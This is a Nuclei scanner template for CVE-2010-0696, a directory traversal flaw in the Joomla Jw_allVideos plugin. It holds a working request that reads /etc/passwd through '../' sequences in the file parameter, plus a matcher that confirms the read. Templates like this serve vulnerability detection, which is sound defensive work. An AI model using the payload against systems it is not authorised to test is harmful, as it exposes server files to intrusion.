id: CVE-2010-0696

info:
  name: Joomla! Component Jw_allVideos - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to retrieve arbitrary files from the server.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11447
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0696
    - http://www.joomlaworks.gr/content/view/77/34/
    - http://www.exploit-db.com/exploits/11447
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0696
    cwe-id: CWE-22
    epss-score: 0.16031
    epss-percentile: 0.94871
    cpe: cpe:2.3:a:joomlaworks:jw_allvideos:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlaworks
    product: jw_allvideos
  tags: cve2010,cve,joomla,lfi,edb,joomlaworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f10fc648483501a66c7b2b49a25f8bdb381eff47c916798a21df1c827a7b5860022100ffad43cf8d52d8c7c1390c885301b73a7cc01a342ff8b4df456cefb12f245e0e:922c64590222798bb761d5b6d8e72950